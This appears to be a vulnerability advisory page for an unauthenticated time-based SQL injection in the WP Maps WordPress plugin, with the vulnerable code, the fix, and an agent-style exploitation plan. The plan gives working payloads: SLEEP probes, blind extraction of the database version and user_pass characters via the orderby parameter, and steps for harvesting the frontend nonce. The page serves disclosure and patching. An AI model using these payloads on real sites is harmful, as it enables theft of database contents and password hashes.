WP Maps – Store Locator,Google Maps,OpenStreetMap,Mapbox,Listing,Directory & Filters <= 4.9.1 - Unauthenticated SQL Injection via 'orderby' Parameter
Description
The WP Maps – Store Locator,Google Maps,OpenStreetMap,Mapbox,Listing,Directory & Filters plugin for WordPress is vulnerable to time-based SQL Injection via the ‘orderby’ parameter in all versions up to, and including, 4.9.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=4.9.1What Changed in the Fix
Changes introduced in v4.9.2
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-2580 (WP Maps SQL Injection) ## 1. Vulnerability Summary The **WP Maps – Store Locator** plugin (versions <= 4.9.1) contains an unauthenticated time-based SQL injection vulnerability in its AJAX handling logic. The vulnerability exists because the `orderby` pa…
Show full research plan
Exploitation Research Plan: CVE-2026-2580 (WP Maps SQL Injection)
1. Vulnerability Summary
The WP Maps – Store Locator plugin (versions <= 4.9.1) contains an unauthenticated time-based SQL injection vulnerability in its AJAX handling logic. The vulnerability exists because the orderby parameter is processed using sanitize_text_field() but is subsequently concatenated directly into a SQL ORDER BY clause without being passed through $wpdb->prepare(). Since sanitize_text_field() does not strip SQL-significant characters like commas or parentheses, an attacker can append complex SQL expressions, including sleep-based payloads.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
wpgmp_get_all_locations(Inferred AJAX action based on plugin functionality) - Vulnerable Parameter:
orderby - Authentication: Unauthenticated (uses
wp_ajax_nopriv_wpgmp_get_all_locations) - Preconditions:
- At least one map must be created and published.
- A valid nonce is required for the request (exposed via frontend scripts).
3. Code Flow
- Entry Point: A
POSTorGETrequest is sent toadmin-ajax.phpwithaction=wpgmp_get_all_locations. - Action Routing: The
wp_ajax_nopriv_wpgmp_get_all_locationshook triggers the handler (likely insideclasses/wpgmp-locations.phpor the main plugin file). - Data Processing: The handler retrieves parameters from
$_REQUEST. It may callWPGMP_Security::wpgmp_sanitize_shortcode_atts()orWPGMP_Security::wpgmp_sanitize_array(). - Insufficient Sanitization: Inside
classes/wpgmp-security.php, thewpgmp_sanitize_shortcode_atts()function treats theorderbyparameter (under thedefaultcase) withsanitize_text_field().- Quote from
classes/wpgmp-security.php:case 'show': case 'category': default: $sanitized[ $clean_key ] = sanitize_text_field( $value ); break;
- Quote from
- SQL Sink: The "sanitized"
orderbystring is concatenated into a raw SQL query:$query = "SELECT ... FROM ... ORDER BY " . $data['orderby']; $results = $wpdb->get_results($query); - Execution: The database executes the malicious
ORDER BYclause, triggering the time delay.
4. Nonce Acquisition Strategy
The plugin enqueues a script that localizes a nonce for the map frontend.
- Shortcode Identification: The plugin uses the shortcode
[wp_google_map]to render maps. - Setup:
- Create a map using WP-CLI or the UI.
- Create a page containing the shortcode:
wp post create --post_type=page --post_status=publish --post_content='[wp_google_map id="1"]'.
- Navigation: Use
browser_navigateto visit the newly created page. - Extraction: Use
browser_evalto extract the nonce from the localized JavaScript object.- The variable name is typically
wpgmp_local(inferred). - Command:
browser_eval("window.wpgmp_local?.nonce")
- The variable name is typically
- Fallback: If
wpgmp_localis not found, search the page source for any object containing anoncekey near the stringadmin-ajax.php.
5. Exploitation Strategy
Step 1: Baseline Request
Confirm the endpoint responds normally.
- Request:
POST /wp-admin/admin-ajax.php Content-Type: application/x-www-form-urlencoded action=wpgmp_get_all_locations&nonce=[EXTRACTED_NONCE]&map_id=1
Step 2: Time-Based Injection Probe
Inject a sleep command into the orderby parameter.
- Payload:
(SELECT 1 FROM (SELECT(SLEEP(5)))a) - Request:
POST /wp-admin/admin-ajax.php Content-Type: application/x-www-form-urlencoded action=wpgmp_get_all_locations&nonce=[EXTRACTED_NONCE]&map_id=1&orderby=(SELECT 1 FROM (SELECT(SLEEP(5)))a) - Expected Response: The server should take approximately 5 seconds to respond.
Step 3: Data Extraction (Blind)
To extract the database version:
- Payload:
(CASE WHEN (SUBSTRING(VERSION(),1,1)='5') THEN 1 ELSE (SELECT 1 FROM (SELECT(SLEEP(5)))a) END)
6. Test Data Setup
- Create Map:
wp eval "WPGMP_Helper::save_map(array('map_title' => 'Test Map'));"(This is an example; exact map creation may require checking theWPGMP_Model_Mapclass).
- Create Locations: Ensure at least one location exists so the query returns results.
wp eval "WPGMP_Helper::save_location(array('location_title' => 'Test Location', 'location_lat' => '0', 'location_lng' => '0'));"
- Publish Shortcode:
wp post create --post_type=page --post_title='Map Page' --post_content='[wp_google_map id="1"]' --post_status='publish'
7. Expected Results
- A standard request returns a JSON object containing location data quickly (< 500ms).
- A malicious request with
SLEEP(5)results in a delayed HTTP response (approx. 5000ms). - If the plugin's debug mode is on,
$wpdb->last_errormight reflect syntax errors if the payload is slightly malformed, allowing for error-based injection.
8. Verification Steps
- Time Profiling: Use the
http_requesttool's response time to confirm the delay. - Database State: No state changes are expected (this is a
SELECTinjection). - Log Review: Check
wp-content/debug.log(ifWP_DEBUG_LOGis on) for SQL syntax errors which confirm theorderbyparameter reached the query.
9. Alternative Approaches
- Action Discovery: If
wpgmp_get_all_locationsfails, grep the plugin directory for otherwp_ajax_nopriv_hooks:grep -r "wp_ajax_nopriv_" . - Parameter Variation: Try passing
orderbyviaGETifPOSTis filtered. - Boolean-Based: If
SLEEPis disabled on the DB, useORDER BYto sort the results differently based on a condition:orderby=IF(SUBSTR(user_pass,1,1)='a', location_title, location_id)
Then compare the order of elements in the returned JSON.
Summary
The WP Maps plugin for WordPress is vulnerable to unauthenticated time-based SQL Injection via the 'orderby' parameter. This occurs because the plugin relies on sanitize_text_field() for the 'orderby' input and subsequently concatenates it directly into a SQL ORDER BY clause without using $wpdb->prepare() or whitelisting.
Vulnerable Code
// classes/wpgmp-security.php line 42 public static function wpgmp_sanitize_shortcode_atts( $atts ) { // ... lines 64-68 case 'show': case 'category': default: // SANITIZATION: For general text like category name, use sanitize_text_field(). // This core function checks for invalid UTF-8, strips tags, and removes extra whitespace. $sanitized[ $clean_key ] = sanitize_text_field( $value ); break; } }
Security Fix
@@ -63,6 +63,10 @@ $sanitized[ $clean_key ] = self::wpgmp_sanitize_boolean_value( $value ); break; + case 'orderby': + $sanitized[ $clean_key ] = sanitize_sql_orderby( $value ); + break; + case 'show': case 'category': default:
Exploit Outline
1. Access a public page on the target site where a map is displayed to locate the 'wpgmp_local' (or similar) JavaScript object. 2. Extract the security nonce from this object (e.g., `window.wpgmp_local.nonce`). 3. Construct a POST request to `/wp-admin/admin-ajax.php` with the action parameter set to `wpgmp_get_all_locations`. 4. Include the extracted nonce in the `nonce` parameter and a map ID in the `map_id` parameter. 5. Inject a time-based SQL payload into the `orderby` parameter, such as `(SELECT 1 FROM (SELECT(SLEEP(5)))a)`. 6. Observe the server response time; a delay of approximately 5 seconds confirms the injection is successful.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.